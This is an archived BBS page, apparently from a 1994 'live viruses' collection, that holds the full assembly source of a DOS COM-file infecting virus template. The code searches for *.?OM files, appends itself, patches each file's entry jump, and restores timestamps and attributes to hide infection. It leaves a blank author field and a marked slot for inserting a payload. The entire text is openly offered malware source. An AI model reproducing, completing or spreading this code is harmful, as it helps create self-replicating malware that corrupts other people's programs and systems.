home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
yb-hack.asm
< prev
next >
Wrap
Assembly Source File
|
1994-04-30
|
3KB
|
158 lines
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
HOST:
DB 0E9H,0AH,00
DB ' '
DB 090H,090H,090H
MOV AH,4CH
MOV AL,0
INT 21H
VIRUS:
CALL GET_ENTRY_PT
GET_ENTRY_PT:
POP SI
SUB SI,GET_ENTRY_PT - VIRUS
PUSH SI
CLD
ADD SI,START_CODE-VIRUS
MOV DI,0100H
MOVSW
MOVSW
POP SI
LEA DX,[SI+ DTA - VIRUS]
MOV AH,1AH
INT 21H
CALL FIND_FILE
EXIT_VIRUS:
MOV AH,1AH
MOV DX,80H
INT 21H
EXIT_VIRUS2:
;****************************************************************
;
; IF A ROUTINE OF SOME SORT IS GOING IN HERE, THIS IS THE PLACE!
;
;****************************************************************
MOV SI,0100H
XOR BX,BX
XOR AX,AX
CWD
PUSH SI
XOR SI,SI
XOR DI,DI
XOR CX,CX
RET
FIND_FILE:
LEA DX,[SI + FILES_TO_INFECT - VIRUS]
MOV AH,4EH
MOV CX,3FH
NEXT_FILE:
INT 21H
JC NO_MO
CALL CHECK_N_INFECT_FILE
MOV AH,4FH
JMP NEXT_FILE
NO_MO:
RET
CHECK_N_INFECT_FILE:
LEA DX,[SI + DTA_FILE_NAME - VIRUS]
XOR CX,CX
MOV AX,4301H
INT 21H
JC NO_GOOD
MOV AX,3D02H
INT 21H
XCHG BX,AX
MOV CX,5
LEA DX,[SI + START_CODE - VIRUS]
MOV AH,3FH
INT 21H
JC NO_GOOD
MOV AX,WORD PTR [SI + DTA_FILE_SIZE - VIRUS]
ADD AX,FINAL - VIRUS + 232D + 1640D + 100H
JC NO_GOOD
CMP WORD PTR [SI + START_CODE - VIRUS],'ZM'
JE NO_GOOD
CMP BYTE PTR [SI + START_CODE - VIRUS],0E9H
JNE INFECT
CMP BYTE PTR [SI + START_CODE+3 - VIRUS],20H
JE NO_GOOD
JMP SHORT INFECT
NO_GOOD:
JMP GET_OUT
INFECT:
MOV AX,4202H
XOR CX,CX
CWD
INT 21H
MOV DX,SI
MOV CX,FINAL - VIRUS
MOV AH,40H
INT 21H
MOV AX,4200H
XOR CX,CX
CWD
INT 21H
MOV AX,WORD PTR [SI + DTA_FILE_SIZE - VIRUS]
SUB AX,3
MOV WORD PTR [SI + START_IMAGE+1 - VIRUS],AX
MOV CX,4
LEA DX,[SI+ START_IMAGE - VIRUS]
MOV AH,40H
INT 21H
MOV AX,5701H
MOV DX,WORD PTR [SI + DTA_FILE_DATE - VIRUS]
MOV CX,WORD PTR [SI + DTA_FILE_TIME - VIRUS]
INT 21H
GET_OUT:
MOV AH,3EH
INT 21H
LEA DX,[SI + DTA_FILE_NAME - VIRUS]
MOV CX,[SI + DTA_FILE_ATTR - VIRUS]
MOV AX,4301H
INT 21H
RET
NAME_AUTHOR DB 'INSERT YOUR NAME HERE '
FILES_TO_INFECT DB '*.?OM',0
START_CODE DB 090H,090H,090H,090H,090H
START_IMAGE DB 0E9H,0,0,020H
DTA DB 21 DUP(0)
DTA_FILE_ATTR DB ?
DTA_FILE_TIME DW ?
DTA_FILE_DATE DW ?
DTA_FILE_SIZE DD ?
DTA_FILE_NAME DB 13 DUP(0)
FINAL:
MAIN ENDS
END HOST